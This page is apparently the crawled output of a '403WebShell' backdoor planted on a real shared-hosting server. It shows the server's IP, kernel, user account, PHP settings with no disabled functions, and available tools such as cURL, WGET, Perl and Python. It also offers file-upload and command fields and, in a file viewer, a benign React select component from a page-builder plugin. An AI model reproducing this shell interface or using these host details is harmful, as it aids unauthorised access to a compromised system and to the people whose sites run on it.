Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 13.58.147.19
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/softaculous/sitepad/editor/site-data/plugins/pagelayer-pro/js/react/src/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/softaculous/sitepad/editor/site-data/plugins/pagelayer-pro/js/react/src/components/select.js
import { useState } from '@wordpress/element';
import { LabelControl } from './label';

export const SelectControl = (props) =>{
	
	const { prop, label, value, setAttributes, attributes } = props;
	const { name } = prop['c'];
	
	const handleSelectChange = (e) => {
		var val = e.target.value;

		setAttributes({ [name]: val });

		if( name == 'animation' ){
			var jEle = jQuery(`.p-${attributes['pagelayer-id']}`);
			var sel = jQuery(e.target);
			pagelayer_trigger_anim(jEle, sel, val);
		}
	};
	
	const renderOptions = () => {
		return Object.keys(prop.list).map((groupOrValue, index) => {
			if (typeof prop.list[groupOrValue] === 'string') {
				return (
					<option
						key={index}
						value={groupOrValue}
						selected={groupOrValue == value ? 'selected' : ''}
					>
					{prop.list[groupOrValue]}
					</option>
				);
			}else{
				return (
					<optgroup key={index} label={groupOrValue}>
						{Object.keys(prop.list[groupOrValue]).map((subOption, subIndex) => (
						<option
							key={subIndex}
							value={subOption}
							selected={subOption == value ? 'selected' : ''}
						>
						{prop.list[groupOrValue][subOption]}
						</option>
						))}
					</optgroup>
				);
			}
		});
	};
	
	return (
		<div className="components-base-control pagelayer-base-control pagelayer-flex">
			<LabelControl {...props}/>
			<div className="pagelayer-elp-select-div pagelayer-elp-pos-rel">
				<select
					className="pagelayer-elp-select pagelayer-select"
					name={name}
					onChange={handleSelectChange}
				>
				{renderOptions()}
				</select>
			</div>
		</div>
	);	
}

const pagelayer_trigger_anim = (elem, sel, anim) => {

	var classList = elem.attr('class');
	classList = classList.split(/\s+/);

	jQuery(sel).find('option').each(function(){
		var found = jQuery.inArray( jQuery(this).val(), classList );
		if( found != -1){
			elem.removeClass(jQuery(this).val());
		}
	});
	
	elem.css('animation-name', '');
	elem.removeClass('pagelayer-wow').addClass(anim + ' animated').one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function(){
		jQuery(this).removeClass(anim+ ' animated');
	});
}

Youez - 2016 - github.com/yon3zu
LinuXploit